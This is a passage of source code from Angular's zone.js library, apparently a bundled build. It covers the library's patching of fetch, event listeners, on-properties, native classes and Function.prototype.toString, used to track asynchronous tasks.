ctor = fetchPromise.constructor;\n if (!ctor[symbolThenPatched]) {\n api.patchThen(ctor);\n }\n }\n fetchPromise.then(function (resource) {\n if (task.state !== 'notScheduled') {\n task.invoke();\n }\n res(resource);\n }, function (error) {\n if (task.state !== 'notScheduled') {\n task.invoke();\n }\n rej(error);\n });\n }, function () {\n if (!supportAbort) {\n rej('No AbortController supported, can not cancel fetch');\n return;\n }\n if (signal && signal.abortController && !signal.aborted &&\n typeof signal.abortController.abort === 'function' && abortNative) {\n try {\n Zone.current[fetchTaskAborting] = true;\n abortNative.call(signal.abortController);\n }\n finally {\n Zone.current[fetchTaskAborting] = false;\n }\n }\n else {\n rej('cancel fetch need a AbortController.signal');\n }\n });\n if (signal && signal.abortController) {\n signal.abortController.task = task;\n }\n });\n };\n});\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\n/**\n * Suppress closure compiler errors about unknown 'Zone' variable\n * @fileoverview\n * @suppress {undefinedVars,globalThis,missingRequire}\n */\n// issue #989, to reduce bundle size, use short name\n/** Object.getOwnPropertyDescriptor */\nvar ObjectGetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;\n/** Object.defineProperty */\nvar ObjectDefineProperty = Object.defineProperty;\n/** Object.getPrototypeOf */\nvar ObjectGetPrototypeOf = Object.getPrototypeOf;\n/** Object.create */\nvar ObjectCreate = Object.create;\n/** Array.prototype.slice */\nvar ArraySlice = Array.prototype.slice;\n/** addEventListener string const */\nvar ADD_EVENT_LISTENER_STR = 'addEventListener';\n/** removeEventListener string const */\nvar REMOVE_EVENT_LISTENER_STR = 'removeEventListener';\n/** zoneSymbol addEventListener */\nvar ZONE_SYMBOL_ADD_EVENT_LISTENER = Zone.__symbol__(ADD_EVENT_LISTENER_STR);\n/** zoneSymbol removeEventListener */\nvar ZONE_SYMBOL_REMOVE_EVENT_LISTENER = Zone.__symbol__(REMOVE_EVENT_LISTENER_STR);\n/** true string const */\nvar TRUE_STR = 'true';\n/** false string const */\nvar FALSE_STR = 'false';\n/** __zone_symbol__ string const */\nvar ZONE_SYMBOL_PREFIX = '__zone_symbol__';\nfunction wrapWithCurrentZone(callback, source) {\n return Zone.current.wrap(callback, source);\n}\nfunction scheduleMacroTaskWithCurrentZone(source, callback, data, customSchedule, customCancel) {\n return Zone.current.scheduleMacroTask(source, callback, data, customSchedule, customCancel);\n}\nvar zoneSymbol = Zone.__symbol__;\nvar isWindowExists = typeof window !== 'undefined';\nvar internalWindow = isWindowExists ? window : undefined;\nvar _global = isWindowExists && internalWindow || typeof self === 'object' && self || global;\nvar REMOVE_ATTRIBUTE = 'removeAttribute';\nvar NULL_ON_PROP_VALUE = [null];\nfunction bindArguments(args, source) {\n for (var i = args.length - 1; i >= 0; i--) {\n if (typeof args[i] === 'function') {\n args[i] = wrapWithCurrentZone(args[i], source + '_' + i);\n }\n }\n return args;\n}\nfunction patchPrototype(prototype, fnNames) {\n var source = prototype.constructor['name'];\n var _loop_1 = function (i) {\n var name_1 = fnNames[i];\n var delegate = prototype[name_1];\n if (delegate) {\n var prototypeDesc = ObjectGetOwnPropertyDescriptor(prototype, name_1);\n if (!isPropertyWritable(prototypeDesc)) {\n return \"continue\";\n }\n prototype[name_1] = (function (delegate) {\n var patched = function () {\n return delegate.apply(this, bindArguments(arguments, source + '.' + name_1));\n };\n attachOriginToPatched(patched, delegate);\n return patched;\n })(delegate);\n }\n };\n for (var i = 0; i < fnNames.length; i++) {\n _loop_1(i);\n }\n}\nfunction isPropertyWritable(propertyDesc) {\n if (!propertyDesc) {\n return true;\n }\n if (propertyDesc.writable === false) {\n return false;\n }\n return !(typeof propertyDesc.get === 'function' && typeof propertyDesc.set === 'undefined');\n}\nvar isWebWorker = (typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope);\n// Make sure to access `process` through `_global` so that WebPack does not accidentally browserify\n// this code.\nvar isNode = (!('nw' in _global) && typeof _global.process !== 'undefined' &&\n {}.toString.call(_global.process) === '[object process]');\nvar isBrowser = !isNode && !isWebWorker && !!(isWindowExists && internalWindow['HTMLElement']);\n// we are in electron of nw, so we are both browser and nodejs\n// Make sure to access `process` through `_global` so that WebPack does not accidentally browserify\n// this code.\nvar isMix = typeof _global.process !== 'undefined' &&\n {}.toString.call(_global.process) === '[object process]' && !isWebWorker &&\n !!(isWindowExists && internalWindow['HTMLElement']);\nvar zoneSymbolEventNames = {};\nvar wrapFn = function (event) {\n // https://github.com/angular/zone.js/issues/911, in IE, sometimes\n // event will be undefined, so we need to use window.event\n event = event || _global.event;\n if (!event) {\n return;\n }\n var eventNameSymbol = zoneSymbolEventNames[event.type];\n if (!eventNameSymbol) {\n eventNameSymbol = zoneSymbolEventNames[event.type] = zoneSymbol('ON_PROPERTY' + event.type);\n }\n var target = this || event.target || _global;\n var listener = target[eventNameSymbol];\n var result;\n if (isBrowser && target === internalWindow && event.type === 'error') {\n // window.onerror have different signiture\n // https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onerror#window.onerror\n // and onerror callback will prevent default when callback return true\n var errorEvent = event;\n result = listener &&\n listener.call(this, errorEvent.message, errorEvent.filename, errorEvent.lineno, errorEvent.colno, errorEvent.error);\n if (result === true) {\n event.preventDefault();\n }\n }\n else {\n result = listener && listener.apply(this, arguments);\n if (result != undefined && !result) {\n event.preventDefault();\n }\n }\n return result;\n};\nfunction patchProperty(obj, prop, prototype) {\n var desc = ObjectGetOwnPropertyDescriptor(obj, prop);\n if (!desc && prototype) {\n // when patch window object, use prototype to check prop exist or not\n var prototypeDesc = ObjectGetOwnPropertyDescriptor(prototype, prop);\n if (prototypeDesc) {\n desc = { enumerable: true, configurable: true };\n }\n }\n // if the descriptor not exists or is not configurable\n // just return\n if (!desc || !desc.configurable) {\n return;\n }\n var onPropPatchedSymbol = zoneSymbol('on' + prop + 'patched');\n if (obj.hasOwnProperty(onPropPatchedSymbol) && obj[onPropPatchedSymbol]) {\n return;\n }\n // A property descriptor cannot have getter/setter and be writable\n // deleting the writable and value properties avoids this error:\n //\n // TypeError: property descriptors must not specify a value or be writable when a\n // getter or setter has been specified\n delete desc.writable;\n delete desc.value;\n var originalDescGet = desc.get;\n var originalDescSet = desc.set;\n // substr(2) cuz 'onclick' -> 'click', etc\n var eventName = prop.substr(2);\n var eventNameSymbol = zoneSymbolEventNames[eventName];\n if (!eventNameSymbol) {\n eventNameSymbol = zoneSymbolEventNames[eventName] = zoneSymbol('ON_PROPERTY' + eventName);\n }\n desc.set = function (newValue) {\n // in some of windows's onproperty callback, this is undefined\n // so we need to check it\n var target = this;\n if (!target && obj === _global) {\n target = _global;\n }\n if (!target) {\n return;\n }\n var previousValue = target[eventNameSymbol];\n if (previousValue) {\n target.removeEventListener(eventName, wrapFn);\n }\n // issue #978, when onload handler was added before loading zone.js\n // we should remove it with originalDescSet\n if (originalDescSet) {\n originalDescSet.apply(target, NULL_ON_PROP_VALUE);\n }\n if (typeof newValue === 'function') {\n target[eventNameSymbol] = newValue;\n target.addEventListener(eventName, wrapFn, false);\n }\n else {\n target[eventNameSymbol] = null;\n }\n };\n // The getter would return undefined for unassigned properties but the default value of an\n // unassigned property is null\n desc.get = function () {\n // in some of windows's onproperty callback, this is undefined\n // so we need to check it\n var target = this;\n if (!target && obj === _global) {\n target = _global;\n }\n if (!target) {\n return null;\n }\n var listener = target[eventNameSymbol];\n if (listener) {\n return listener;\n }\n else if (originalDescGet) {\n // result will be null when use inline event attribute,\n // such as \n // because the onclick function is internal raw uncompiled handler\n // the onclick will be evaluated when first time event was triggered or\n // the property is accessed, https://github.com/angular/zone.js/issues/525\n // so we should use original native get to retrieve the handler\n var value = originalDescGet && originalDescGet.call(this);\n if (value) {\n desc.set.call(this, value);\n if (typeof target[REMOVE_ATTRIBUTE] === 'function') {\n target.removeAttribute(prop);\n }\n return value;\n }\n }\n return null;\n };\n ObjectDefineProperty(obj, prop, desc);\n obj[onPropPatchedSymbol] = true;\n}\nfunction patchOnProperties(obj, properties, prototype) {\n if (properties) {\n for (var i = 0; i < properties.length; i++) {\n patchProperty(obj, 'on' + properties[i], prototype);\n }\n }\n else {\n var onProperties = [];\n for (var prop in obj) {\n if (prop.substr(0, 2) == 'on') {\n onProperties.push(prop);\n }\n }\n for (var j = 0; j < onProperties.length; j++) {\n patchProperty(obj, onProperties[j], prototype);\n }\n }\n}\nvar originalInstanceKey = zoneSymbol('originalInstance');\n// wrap some native API on `window`\nfunction patchClass(className) {\n var OriginalClass = _global[className];\n if (!OriginalClass)\n return;\n // keep original class in global\n _global[zoneSymbol(className)] = OriginalClass;\n _global[className] = function () {\n var a = bindArguments(arguments, className);\n switch (a.length) {\n case 0:\n this[originalInstanceKey] = new OriginalClass();\n break;\n case 1:\n this[originalInstanceKey] = new OriginalClass(a[0]);\n break;\n case 2:\n this[originalInstanceKey] = new OriginalClass(a[0], a[1]);\n break;\n case 3:\n this[originalInstanceKey] = new OriginalClass(a[0], a[1], a[2]);\n break;\n case 4:\n this[originalInstanceKey] = new OriginalClass(a[0], a[1], a[2], a[3]);\n break;\n default:\n throw new Error('Arg list too long.');\n }\n };\n // attach original delegate to patched function\n attachOriginToPatched(_global[className], OriginalClass);\n var instance = new OriginalClass(function () { });\n var prop;\n for (prop in instance) {\n // https://bugs.webkit.org/show_bug.cgi?id=44721\n if (className === 'XMLHttpRequest' && prop === 'responseBlob')\n continue;\n (function (prop) {\n if (typeof instance[prop] === 'function') {\n _global[className].prototype[prop] = function () {\n return this[originalInstanceKey][prop].apply(this[originalInstanceKey], arguments);\n };\n }\n else {\n ObjectDefineProperty(_global[className].prototype, prop, {\n set: function (fn) {\n if (typeof fn === 'function') {\n this[originalInstanceKey][prop] = wrapWithCurrentZone(fn, className + '.' + prop);\n // keep callback in wrapped function so we can\n // use it in Function.prototype.toString to return\n // the native one.\n attachOriginToPatched(this[originalInstanceKey][prop], fn);\n }\n else {\n this[originalInstanceKey][prop] = fn;\n }\n },\n get: function () {\n return this[originalInstanceKey][prop];\n }\n });\n }\n }(prop));\n }\n for (prop in OriginalClass) {\n if (prop !== 'prototype' && OriginalClass.hasOwnProperty(prop)) {\n _global[className][prop] = OriginalClass[prop];\n }\n }\n}\nfunction copySymbolProperties(src, dest) {\n if (typeof Object.getOwnPropertySymbols !== 'function') {\n return;\n }\n var symbols = Object.getOwnPropertySymbols(src);\n symbols.forEach(function (symbol) {\n var desc = Object.getOwnPropertyDescriptor(src, symbol);\n Object.defineProperty(dest, symbol, {\n get: function () {\n return src[symbol];\n },\n set: function (value) {\n if (desc && (!desc.writable || typeof desc.set !== 'function')) {\n // if src[symbol] is not writable or not have a setter, just return\n return;\n }\n src[symbol] = value;\n },\n enumerable: desc ? desc.enumerable : true,\n configurable: desc ? desc.configurable : true\n });\n });\n}\nvar shouldCopySymbolProperties = false;\n\nfunction patchMethod(target, name, patchFn) {\n var proto = target;\n while (proto && !proto.hasOwnProperty(name)) {\n proto = ObjectGetPrototypeOf(proto);\n }\n if (!proto && target[name]) {\n // somehow we did not find it, but we can see it. This happens on IE for Window properties.\n proto = target;\n }\n var delegateName = zoneSymbol(name);\n var delegate = null;\n if (proto && !(delegate = proto[delegateName])) {\n delegate = proto[delegateName] = proto[name];\n // check whether proto[name] is writable\n // some property is readonly in safari, such as HtmlCanvasElement.prototype.toBlob\n var desc = proto && ObjectGetOwnPropertyDescriptor(proto, name);\n if (isPropertyWritable(desc)) {\n var patchDelegate_1 = patchFn(delegate, delegateName, name);\n proto[name] = function () {\n return patchDelegate_1(this, arguments);\n };\n attachOriginToPatched(proto[name], delegate);\n if (shouldCopySymbolProperties) {\n copySymbolProperties(delegate, proto[name]);\n }\n }\n }\n return delegate;\n}\n// TODO: @JiaLiPassion, support cancel task later if necessary\nfunction patchMacroTask(obj, funcName, metaCreator) {\n var setNative = null;\n function scheduleTask(task) {\n var data = task.data;\n data.args[data.cbIdx] = function () {\n task.invoke.apply(this, arguments);\n };\n setNative.apply(data.target, data.args);\n return task;\n }\n setNative = patchMethod(obj, funcName, function (delegate) { return function (self, args) {\n var meta = metaCreator(self, args);\n if (meta.cbIdx >= 0 && typeof args[meta.cbIdx] === 'function') {\n return scheduleMacroTaskWithCurrentZone(meta.name, args[meta.cbIdx], meta, scheduleTask);\n }\n else {\n // cause an error by calling it directly.\n return delegate.apply(self, args);\n }\n }; });\n}\n\nfunction attachOriginToPatched(patched, original) {\n patched[zoneSymbol('OriginalDelegate')] = original;\n}\nvar isDetectedIEOrEdge = false;\nvar ieOrEdge = false;\nfunction isIE() {\n try {\n var ua = internalWindow.navigator.userAgent;\n if (ua.indexOf('MSIE ') !== -1 || ua.indexOf('Trident/') !== -1) {\n return true;\n }\n }\n catch (error) {\n }\n return false;\n}\nfunction isIEOrEdge() {\n if (isDetectedIEOrEdge) {\n return ieOrEdge;\n }\n isDetectedIEOrEdge = true;\n try {\n var ua = internalWindow.navigator.userAgent;\n if (ua.indexOf('MSIE ') !== -1 || ua.indexOf('Trident/') !== -1 || ua.indexOf('Edge/') !== -1) {\n ieOrEdge = true;\n }\n return ieOrEdge;\n }\n catch (error) {\n }\n}\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\n// override Function.prototype.toString to make zone.js patched function\n// look like native function\nZone.__load_patch('toString', function (global) {\n // patch Func.prototype.toString to let them look like native\n var originalFunctionToString = Function.prototype.toString;\n var ORIGINAL_DELEGATE_SYMBOL = zoneSymbol('OriginalDelegate');\n var PROMISE_SYMBOL = zoneSymbol('Promise');\n var ERROR_SYMBOL = zoneSymbol('Error');\n var newFunctionToString = function toString() {\n if (typeof this === 'function') {\n var originalDelegate = this[ORIGINAL_DELEGATE_SYMBOL];\n if (originalDelegate) {\n if (typeof originalDelegate === 'function') {\n return originalFunctionToString.apply(this[ORIGINAL_DELEGATE_SYMBOL], arguments);\n }\n else {\n return Object.prototype.toString.call(originalDelegate);\n }\n }\n if (this === Promise) {\n var nativePromise = global[PROMISE_SYMBOL];\n if (nativePromise) {\n return originalFunctionToString.apply(nativePromise, arguments);\n }\n }\n if (this === Error) {\n var nativeError = global[ERROR_SYMBOL];\n if (nativeError) {\n return originalFunctionToString.apply(nativeError, arguments);\n }\n }\n }\n return originalFunctionToString.apply(this, arguments);\n };\n newFunctionToString[ORIGINAL_DELEGATE_SYMBOL] = originalFunctionToString;\n Function.prototype.toString = newFunctionToString;\n // patch Object.prototype.toString to let them look like native\n var originalObjectToString = Object.prototype.toString;\n var PROMISE_OBJECT_TO_STRING = '[object Promise]';\n Object.prototype.toString = function () {\n if (this instanceof Promise) {\n return PROMISE_OBJECT_TO_STRING;\n }\n return originalObjectToString.apply(this, arguments);\n };\n});\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\n/**\n * @fileoverview\n * @suppress {missingRequire}\n */\nvar passiveSupported = false;\nif (typeof window !== 'undefined') {\n try {\n var options = Object.defineProperty({}, 'passive', {\n get: function () {\n passiveSupported = true;\n }\n });\n window.addEventListener('test', options, options);\n window.removeEventListener('test', options, options);\n }\n catch (err) {\n passiveSupported = false;\n }\n}\n// an identifier to tell ZoneTask do not create a new invoke closure\nvar OPTIMIZED_ZONE_EVENT_TASK_DATA = {\n useG: true\n};\nvar zoneSymbolEventNames$1 = {};\nvar globalSources = {};\nvar EVENT_NAME_SYMBOL_REGX = /^__zone_symbol__(\\w+)(true|false)$/;\nvar IMMEDIATE_PROPAGATION_SYMBOL = ('__zone_symbol__propagationStopped');\nfunction patchEventTarget(_global, apis, patchOptions) {\n var ADD_EVENT_LISTENER = (patchOptions && patchOptions.add) || ADD_EVENT_LISTENER_STR;\n var REMOVE_EVENT_LISTENER = (patchOptions && patchOptions.rm) || REMOVE_EVENT_LISTENER_STR;\n var LISTENERS_EVENT_LISTENER = (patchOptions && patchOptions.listeners) || 'eventListeners';\n var REMOVE_ALL_LISTENERS_EVENT_LISTENER = (patchOptions && patchOptions.rmAll) || 'removeAllListeners';\n var zoneSymbolAddEventListener = zoneSymbol(ADD_EVENT_LISTENER);\n var ADD_EVENT_LISTENER_SOURCE = '.' + ADD_EVENT_LISTENER + ':';\n var PREPEND_EVENT_LISTENER = 'prependListener';\n var PREPEND_EVENT_LISTENER_SOURCE = '.' + PREPEND_EVENT_LISTENER + ':';\n var invokeTask = function (task, target, event) {\n // for better performance, check isRemoved which is set\n // by removeEventListener\n if (task.isRemoved) {\n return;\n }\n var delegate = task.callback;\n if (typeof delegate === 'object' && delegate.handleEvent) {\n // create the bind version of handleEvent when invoke\n task.callback = function (event) { return delegate.handleEvent(event); };\n task.originalDelegate = delegate;\n }\n // invoke static task.invoke\n task.invoke(task, target, [event]);\n var options = task.options;\n if (options && typeof options === 'object' && options.once) {\n // if options.once is true, after invoke once remove listener here\n // only browser need to do this, nodejs eventEmitter will cal removeListener\n // inside EventEmitter.once\n var delegate_1 = task.originalDelegate ? task.originalDelegate : task.callback;\n target[REMOVE_EVENT_LISTENER].call(target, event.type, delegate_1, options);\n }\n };\n // global shared zoneAwareCallback to handle all event callback with capture = false\n var globalZoneAwareCallback = function (event) {\n // https://github.com/angular/zone.js/issues/911, in IE, sometimes\n // event will be undefined, so we need to use window.event\n event = event || _global.event;\n if (!event) {\n return;\n }\n // event.target is needed for Samsung TV and SourceBuffer\n // || global is needed https://github.com/angular/zone.js/issues/190\n var target = this || event.target || _global;\n var tasks = target[zoneSymbolEventNames$1[event.type][FALSE_STR]];\n if (tasks) {\n // invoke all tasks which attached to current target with given event.type and capture = false\n // for performance concern, if task.length === 1, just invoke\n if (tasks.length === 1) {\n invokeTask(tasks[0], target, event);\n }\n else {\n // https://github.com/angular/zone.js/issues/836\n // copy the tasks array before invoke, to avoid\n // the callback will remove itself or other listener\n var copyTasks = tasks.slice();\n for (var i = 0; i < copyTasks.length; i++) {\n if (event && event[IMMEDIATE_PROPAGATION_SYMBOL] === true) {\n break;\n }\n invokeTask(copyTasks[i], target, event);\n }\n }\n }\n };\n // global shared zoneAwareCallback to handle all event callback with capture = true\n var globalZoneAwareCaptureCallback = function (event) {\n // https://github.com/angular/zone.js/issues/911, in IE, sometimes\n // event will be undefined, so we need to use window.event\n event = event || _global.event;\n if (!event) {\n return;\n }\n // event.target is needed for Samsung TV and SourceBuffer\n // || global is needed https://github.com/angular/zone.js/issues/190\n var target = this || event.target || _global;\n var tasks = target[zoneSymbolEventNames$1[event.type][TRUE_STR]];\n if (tasks) {\n // invoke all tasks which attached to current target with given event.type and capture = false\n // for performance concern, if task.length === 1, just invoke\n if (tasks.length === 1) {\n invokeTask(tasks[0], target, event);\n }\n else {\n // https://github.com/angular/zone.js/issues/836\n // copy the tasks array before invoke, to avoid\n // the callback will remove itself or other listener\n var copyTasks = tasks.slice();\n for (var i = 0; i < copyTasks.length; i++) {\n if (event && event[IMMEDIATE_PROPAGATION_SYMBOL] === true) {\n break;\n }\n invokeTask(copyTasks[i], target, event);\n }\n }\n }\n };\n function patchEventTargetMethods(obj, patchOptions) {\n if (!obj) {\n return false;\n }\n var useGlobalCallback = true;\n if (patchOptions && patchOptions.useG !== undefined) {\n useGlobalCallback = patchOptions.useG;\n }\n var validateHandler = patchOptions && patchOptions.vh;\n var checkDuplicate = true;\n if (patchOptions && patchOptions.chkDup !== undefined) {\n checkDuplicate = patchOptions.chkDup;\n }\n var returnTarget = false;\n if (patchOptions && patchOptions.rt !== undefined) {\n returnTarget = patchOptions.rt;\n }\n var proto = obj;\n while (proto && !proto.hasOwnProperty(ADD_EVENT_LISTENER)) {\n proto = ObjectGetPrototypeOf(proto);\n }\n if (!proto && obj[ADD_EVENT_LISTENER]) {\n // somehow we did not find it, but we can see it. This happens on IE for Window properties.\n proto = obj;\n }\n if (!proto) {\n return false;\n }\n if (proto[zoneSymbolAddEventListener]) {\n return false;\n }\n var eventNameToString = patchOptions && patchOptions.eventNameToString;\n // a shared global taskData to pass data for scheduleEventTask\n // so we do not need to create a new object just for pass some data\n var taskData = {};\n var nativeAddEventListener = proto[zoneSymbolAddEventListener] = proto[ADD_EVENT_LISTENER];\n var nativeRemoveEventListener = proto[zoneSymbol(REMOVE_EVENT_LISTENER)] =\n proto[REMOVE_EVENT_LISTENER];\n var nativeListeners = proto[zoneSymbol(LISTENERS_EVENT_LISTENER)] =\n proto[LISTENERS_EVENT_LISTENER];\n var nativeRemoveAllListeners = proto[zoneSymbol(REMOVE_ALL_LISTENERS_EVENT_LISTENER)] =\n proto[REMOVE_ALL_LISTENERS_EVENT_LISTENER];\n var nativePrependEventListener;\n if (patchOptions && patchOptions.prepend) {\n nativePrependEventListener = proto[zoneSymbol(patchOptions.prepend)] =\n proto[patchOptions.prepend];\n }\n function checkIsPassive(task) {\n if (!passiveSupported && typeof taskData.options !== 'boolean' &&\n typeof taskData.options !== 'undefined' && taskData.options !== null) {\n // options is a non-null non-undefined object\n // passive is not supported\n // don't pass options as object\n // just pass capture as a boolean\n task.options = !!taskData.options.capture;\n taskData.options = task.options;\n }\n }\n var customScheduleGlobal = function (task) {\n // if there is already a task for the eventName + capture,\n // just return, because we use the shared globalZoneAwareCallback here.\n if (taskData.isExisting) {\n return;\n }\n checkIsPassive(task);\n return nativeAddEventListener.call(taskData.target, taskData.eventName, taskData.capture ? globalZoneAwareCaptureCallback : globalZoneAwareCallback, taskData.options);\n };\n var customCancelGlobal = function (task) {\n // if task is not marked as isRemoved, this call is directly\n // from Zone.prototype.cancelTask, we should remove the task\n // from tasksList of target first\n if (!task.isRemoved) {\n var symbolEventNames = zoneSymbolEventNames$1[task.eventName];\n var symbolEventName = void 0;\n if (symbolEventNames) {\n symbolEventName = symbolEventNames[task.capture ? TRUE_STR : FALSE_STR];\n }\n var existingTasks = symbolEventName && task.target[symbolEventName];\n if (existingTasks) {\n for (var i = 0; i < existingTasks.length; i++) {\n var existingTask = existingTasks[i];\n if (existingTask === task) {\n existingTasks.splice(i, 1);\n // set isRemoved to data for faster invokeTask check\n task.isRemoved = true;\n if (existingTasks.length === 0) {\n // all tasks for the eventName + capture have gone,\n // remove globalZoneAwareCallback and remove the task cache from target\n task.allRemoved = true;\n task.target[symbolEventName] = null;\n }\n break;\n }\n }\n }\n }\n // if all tasks for the eventName + capture have gone,\n // we will really remove the global event callback,\n // if not, return\n if (!task.allRemoved) {\n return;\n }\n return nativeRemoveEventListener.call(task.target, task.eventName, task.capture ? globalZoneAwareCaptureCallback : globalZoneAwareCallback, task.options);\n };\n var customScheduleNonGlobal = function (task) {\n checkIsPassive(task);\n return nativeAddEventListener.call(taskData.target, taskData.eventName, task.invoke, taskData.options);\n };\n var customSchedulePrepend = function (task) {\n return nativePrependEventListener.call(taskData.target, taskData.eventName, task.invoke, taskData.options);\n };\n var customCancelNonGlobal = function (task) {\n return nativeRemoveEventListener.call(task.target, task.eventName, task.invoke, task.options);\n };\n var customSchedule = useGlobalCallback ? customScheduleGlobal : customScheduleNonGlobal;\n var customCancel = useGlobalCallback ? customCancelGlobal : customCancelNonGlobal;\n var compareTaskCallbackVsDelegate = function (task, delegate) {\n var typeOfDelegate = typeof delegate;\n return (typeOfDelegate === 'function' && task.callback === delegate) ||\n (typeOfDelegate === 'object' && task.originalDelegate === delegate);\n };\n var compare = (patchOptions && patchOptions.diff) ? patchOptions.diff : compareTaskCallbackVsDelegate;\n var blackListedEvents = Zone[Zone.__symbol__('BLACK_LISTED_EVENTS')];\n var makeAddListener = function (nativeListener, addSource, customScheduleFn, customCancelFn, returnTarget, prepend) {\n if (returnTarget === void 0) { returnTarget = false; }\n if (prepend === void 0) { prepend = false; }\n return function () {\n var target = this || _global;\n var eventName = arguments[0];\n var delegate = arguments[1];\n if (!delegate) {\n return nativeListener.apply(this, arguments);\n }\n if (isNode && eventName === 'uncaughtException') {\n // don't patch uncaughtException of nodejs to prevent endless loop\n return nativeListener.apply(this, arguments);\n }\n // don't create the bind delegate function for handleEvent\n // case here to improve addEventListener performance\n // we will create the bind delegate when invoke\n var isHandleEvent = false;\n if (typeof delegate !== 'function') {\n if (!delegate.handleEvent) {\n return nativeListener.apply(this, arguments);\n }\n isHandleEvent = true;\n }\n if (validateHandler && !validateHandler(nativeListener, delegate, target, arguments)) {\n return;\n }\n var options = arguments[2];\n if (blackListedEvents) {\n // check black list\n for (var i = 0; i < blackListedEvents.length; i++) {\n if (eventName === blackListedEvents[i]) {\n return nativeListener.apply(this, arguments);\n }\n }\n }\n var capture;\n var once = false;\n if (options === undefined) {\n capture = false;\n }\n else if (options === true) {\n capture = true;\n }\n else if (options === false) {\n capture = false;\n }\n else {\n capture = options ? !!options.capture : false;\n once = options ? !!options.once : false;\n }\n var zone = Zone.current;\n var symbolEventNames = zoneSymbolEventNames$1[eventName];\n var symbolEventName;\n if (!symbolEventNames) {\n // the code is duplicate, but I just want to get some better performance\n var falseEventName = (eventNameToString ? eventNameToString(eventName) : eventName) + FALSE_STR;\n var trueEventName = (eventNameToString ? eventNameToString(eventName) : eventName) + TRUE_STR;\n var symbol = ZONE_SYMBOL_PREFIX + falseEventName;\n var symbolCapture = ZONE_SYMBOL_PREFIX + trueEventName;\n zoneSymbolEventNames$1[eventName] = {};\n zoneSymbolEventNames$1[eventName][FALSE_STR] = symbol;\n zoneSymbolEventNames$1[eventName][TRUE_STR] = symbolCapture;\n symbolEventName = capture ? symbolCapture : symbol;\n }\n else {\n symbolEventName = symbolEventNames[capture ? TRUE_STR : FALSE_STR];\n }\n var existingTasks = target[symbolEventName];\n var isExisting = false;\n if (existingTasks) {\n // already have task registered\n isExisting = true;\n if (checkDuplicate) {\n for (var i = 0; i < existingTasks.length; i++) {\n if (compare(existingTasks[i], delegate)) {\n // same callback, same capture, same event name, just return\n return;\n }\n }\n }\n }\n else {\n existingTasks = target[symbolEventName] = [];\n }\n var source;\n var constructorName = target.constructor['name'];\n var targetSource = globalSources[constructorName];\n if (targetSource) {\n source = targetSource[eventName];\n }\n if (!source) {\n source = constructorName + addSource +\n (eventNameToString ? eventNameToString(eventName) : eventName);\n }\n // do not create a new object as task.data to pass those things\n // just use the global shared one\n taskData.options = options;\n if (once) {\n // if addEventListener with once options, we don't pass it to\n // native addEventListener, instead we keep the once setting\n // and handle ourselves.\n taskData.options.once = false;\n }\n taskData.target = target;\n taskData.capture = capture;\n taskData.eventName = eventName;\n taskData.isExisting = isExisting;\n var data = useGlobalCallback ? OPTIMIZED_ZONE_EVENT_TASK_DATA : undefined;\n // keep taskData into data to allow onScheduleEventTask to access the task information\n if (data) {\n data.taskData = taskData;\n }\n var task = zone.scheduleEventTask(source, delegate, data, customScheduleFn, customCancelFn);\n // should clear taskData.target to avoid memory leak\n // issue, https://github.com/angular/angular/issues/20442\n taskData.target = null;\n // need to clear up taskData because it is a global object\n if (data) {\n data.taskData = null;\n }\n // have to save those information to task in case\n // application may call task.zone.cancelTask() directly\n if (once) {\n options.once = true;\n }\n if (!(!passiveSupported && typeof task.options === 'boolean')) {\n // if not support passive, and we pass an option object\n // to addEventListener, we should save the options to task\n task.options = options;\n }\n task.target = target;\n task.capture = capture;\n task.eventName = eventName;\n if (isHandleEvent) {\n // save original delegate for compare to check duplicate\n task.originalDelegate = delegate;\n }\n if (!prepend) {\n existingTasks.push(task);\n }\n else {\n existingTasks.unshift(task);\n }\n if (returnTarget) {\n return target;\n }\n };\n };\n proto[ADD_EVENT_LISTENER] = makeAddListener(nativeAddEventListener, ADD_EVENT_LISTENER_SOURCE, customSchedule, customCancel, returnTarget);\n if (nativePrependEventListener) {\n proto[PREPEND_EVENT_LISTENER] = makeAddListener(nativePrependEventListener, PREPEND_EVENT_LISTENER_SOURCE, customSchedulePrepend, customCancel, returnTarget, true);\n }\n proto[REMOVE_EVENT_LISTENER] = function () {\n var target = this || _global;\n var eventName = arguments[0];\n var options = arguments[2];\n var capture;\n if (options === undefined) {\n capture = false;\n }\n else if (options === true) {\n capture = true;\n }\n else if (options === false) {\n capture = false;\n }\n else {\n capture = options ? !!options.capture : false;\n }\n var delegate = arguments[1];\n if (!delegate) {\n return nativeRemoveEventListener.apply(this, arguments);\n }\n if (validateHandler &&\n !validateHandler(nativeRemoveEventListener, delegate, target, arguments)) {\n return;\n }\n var symbolEventNames = zoneSymbolEventNames$1[eventName];\n var symbolEventName;\n if (symbolEventNames) {\n symbolEventName = symbolEventNames[capture ? TRUE_STR : FALSE_STR];\n }\n var existingTasks = symbolEventName && target[symbolEventName];\n if (existingTasks) {\n for (var i = 0; i < existingTasks.length; i++) {\n var existingTask = existingTasks[i];\n if (compare(existingTask, delegate)) {\n existingTasks.splice(i, 1);\n // set isRemoved to data for faster invokeTask check\n existingTask.isRemoved = true;\n if (existingTasks.length === 0) {\n // all tasks for the eventName + capture have gone,\n // remove globalZoneAwareCallback and remove the task cache from target\n existingTask.allRemoved = true;\n target[symbolEventName] = null;\n }\n existingTask.zone.cancelTask(existingTask);\n if (returnTarget) {\n return target;\n }\n return;\n }\n }\n }\n // issue 930, didn't find the event name or callback\n // from zone kept existingTasks, the callback maybe\n // added outside of zone, we need to call native removeEventListener\n // to try to remove it.\n return nativeRemoveEventListener.apply(this, arguments);\n };\n proto[LISTENERS_EVENT_LISTENER] = function () {\n var target = this || _global;\n var eventName = arguments[0];\n var listeners = [];\n var tasks = findEventTasks(target, eventNameToString ? eventNameToString(eventName) : eventName);\n for (var i = 0; i < tasks.length; i++) {\n var task = tasks[i];\n var delegate = task.originalDelegate ? task.originalDelegate : task.callback;\n listeners.push(delegate);\n }\n return listeners;\n };\n 